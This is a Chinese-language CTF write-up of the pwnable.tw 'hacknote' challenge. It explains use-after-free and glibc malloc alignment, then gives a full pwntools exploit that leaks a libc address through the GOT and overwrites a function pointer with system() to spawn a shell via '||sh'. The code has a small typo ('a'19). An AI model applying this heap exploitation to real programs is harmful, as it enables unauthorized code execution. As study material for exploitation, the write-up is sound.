pwnable.tw记录之hacknote

0x00漏洞简介

uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(有的地方翻译为迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。

再怎么表述起始还不如真的拿一道题自己调自己看内存看堆状态来的好理解。这也是我觉得ctf-pwn的意义所在,可以把一些漏洞抽象出来以题的形式,作为学习这方面的一个抓手。

此篇尽量做的细致基础,但仍然假设读者已经初步了解uaf能够实现exploit的原理,例如malloc的内存优先分配机制。

当然作为一个小白,还是从一些比较直白漏洞利用单一一些的题目来理解uaf的利用姿势。

pwnable.kr这个网站基本满足这种单一直白,代码量不多也基本不需要多个漏洞一起搞,就是服务经常挂。上面有一道uaf的题,好像是利用c++虚函数表搞的

exploit-exercise也不错,不过后面的题目调试起来比较麻烦。

pwnable.tw比较难,可以作为进阶练习。

感觉如果想找一个题目作为开始,TU-CTF PWN  woO这道五十分的题基本没什么坑,可以作为理解用。

这次分析一下pwnable.tw的这道hacknote,相比2016湖湘的fheap而言这道题算是纯uaf利用了,做个记录也帮助进一步理解uaf的姿势>


0x01 程序分析


丢到ida里面看下:

add note功能:

可以看到首先为ptr+note_offset 使用malloc分配了8字节的内存,分别存放函数地址0x804862b(打印content的内容)和一个指向当期那note内容content的指针。

之后会请用户输入content的size和content的内容。这里涉及到malloc分配内存时的内存对齐。(其实想要uaf来覆盖的话直接申请相同大小的内存就行了,没必要花式考虑内存对齐)


0x02 malloc内存对齐

部分摘自网络

在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。这样可以避免内存中的碎片,提高程序效率。

对齐参数(MALLOC_ALIGNMENT) 大小的设定并需满足两个特性:

1)必须是2的幂

2)必须是void*的整数倍,sizeof(void*) is 4Bytes in x86 ,and  8Bytes in x64

粗粗看了下malloc的头文件定义,对齐参数MALLOC_ALIGNMENT应该为2*sizeof(void*),即32位下为8bytes,64位下为16bytes。

但是最小分配单位并不是对齐单位,同样参考glibc的malloc.h文件,最小分配单位MINSIZE:

其中MIN_CHUNK_SIZE为一个chunk结构体的大小:为16字节

计算MINSIZE=(16+8-1) & ~(8-1)=16字节

即32位下malloc的最小分配单位为16字节,64位下最小分配单位为32字节。

其中request2size就是malloc的内存对齐操作。

从request2size还可以知道,如果是64位系统,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。如果是32位系统,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。(类似计算MINSIZE)


0x03 泄露libc_base地址

继续分析程序的基本流程:

add note后堆的情况:

这里新建了两个note,大小分别为20和8,ptr处存放了了两个指向note结构体的指针。

struct note{

*p             //指向打印函数0x080462b的指针

*content   //指向note内容的指针

}

可以看到之前介绍的malloc内存对齐机制的体现:

1.一开始malloc了8字节存放note结构体,实际上为了内存对齐分配了0x804b008~0x804b017的16字节内存空间;

2.用户设置的content大小为20字节,对齐后实际为0x804b018~0x804b02b的24字节内存空间

大体的利用思路为:

add_note首先malloc出8字节来存放note结构体,接着用户输入content的size:16,这样操作两次,分配的内存大小为16/24/16/24

接着使用delete_note来释放内存:

先后delete_note(0)  delete_note(1),接着add_note,增加一个content size=8,内容为'aaaaaaaa'

free后并没有置空指针,这样就造成了uaf利用。free过后的空表:

——————————————

| content0         32bytes            第一个note的content       |    head

——————————————                                       |

| struct note0    16bytes            第一个note的结构体         |

——————————————                                       |

|content1          32bytes            第二个note的content       |

——————————————                                       |

|struct note1      16bytes            第二个note的结构体        |

——————————————                                      V    tail

增加note的过程中需要做两次malloc(8)的操作,经过内存对齐后即为分配两个大小为16字节的内存,这样根据malloc的优先分配机制,从空表尾部开始寻找大小为16字节的空间。

因此新建的note2的strcut note将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被我们输入的content覆盖!

题目已经给出了libc文件,我们首先要做的就是泄露出libc加载到内存中的基址:

以read()为例,我们将指向content的指针覆盖为read在got表中的地址,这样调用print_note后就会打印出read的实际地址,利用:system_addr-libc_system=read_addr-libc_read

计算system_addr=read_addr-libc_read+libc_system

def leak_libc_base():

libc=ELF('./libc_32.so.6')

libc_read_addr=libc.symbols['read']

libc_system_addr=libc.symbols['system']

add(20,'a'*19)

add(20,'b'*19)

delete(0)

delete(1)

add(8,p32(0x804862b)+p32(0x804a00c))

show(0)

leak_read_addr=u32(p.recv(4))

system_addr=leak_read_addr-libc_read_addr+libc_system_addr

return system_addr

0x04 cat flag

泄露libc加载基址的过程实际上就是改编程序执行流程的过程,既然我们已经得到了system的实际地址,只需要重复相同的步骤,只是将原本0x804862b覆盖为system的地址。

这里还有一个小坑,覆盖后system的参数实际上是从note0结构体开始的,也就是p32(system_addr)+'sh',这样是无法达到system('/bin/sh')的效果的,类似的题目还有sect.ctf.rocks(比赛网站已经挂了好像是叫做SEC-T CTF一个国外的比赛)里有一道pwn50也要用到system参数截断的姿势,当时用的是&&sh,类似的还有||sh,;sh; 类似的好像在web题里也有体现(???萌新表示对web一无所知)

还有最近不知道为什么不止pwnable.kr经常挂,今天试pwnable.tw去nc的时候也gg了,暂时本地测试ok。

附上exp:


from pwn import *

p=process('./hacknote')

def add(size,data):

p.recvuntil('Your choice ')

p.recvuntil(':')

p.sendline('1')

p.recvuntil('Note size ')

p.recvuntil(':')

p.sendline(str(size))

p.recvuntil('Content ')

p.recvuntil(':')

p.sendline(data)

def delete(index):

p.recvuntil('Your choice ')

p.recvuntil(':')

p.sendline('2')

p.recvuntil('Index ')

p.recvuntil(':')

p.sendline(str(index))

def show(index):

p.recvuntil('Your choice ')

p.recvuntil(':')

p.sendline('3')

p.recvuntil('Index ')

p.recvuntil(':')

p.sendline(str(index))

def leak_libc_base():

libc=ELF('./libc_32.so.6')

libc_read_addr=libc.symbols['read']

libc_system_addr=libc.symbols['system']

add(20,'a'19)

add(20,'b'*19)

delete(0)

delete(1)

add(8,p32(0x804862b)+p32(0x804a00c))

show(0)

leak_read_addr=u32(p.recv(4))

system_addr=leak_read_addr-libc_read_addr+libc_system_addr

return system_addr

system_addr=leak_libc_base()

print hex(system_addr)

delete(2)

add(8,p32(system_addr)+'||sh')

#gdb.attach(p,'b * 0x8048a85')

show(0)

p.interactive()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,922评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,591评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,546评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,467评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,553评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,580评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,588评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,334评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,780评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,092评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,270评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,925评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,573评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,194评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,437评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,154评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,127评论 2 352

推荐阅读更多精彩内容

  • 0x01 hacknote IAD-F5反汇编查看,重点就是关注delete、add函数 add函数 delete...
    Nevv阅读 871评论 0 1
  • Double Free其实就是同一个指针free两次。虽然一般把它叫做double free。其实只要是free一...
    BJChangAn阅读 11,925评论 0 1
  • 这期的家塾班,来了两位新朋友,妞妞和她的妈妈李敏。虽然我们认识,但真正的看到彼此带孩子的方式还是第一次。 肯定的是...
    生命的本色阅读 498评论 0 5
  • 战利品 “昂……” 腾蛇也收回内丹,也是萎靡不振。原本金光灿灿的双翅,变得灰败无比。鳞甲更是一片片脱落,血流如注。...
    飄雲阅读 208评论 0 5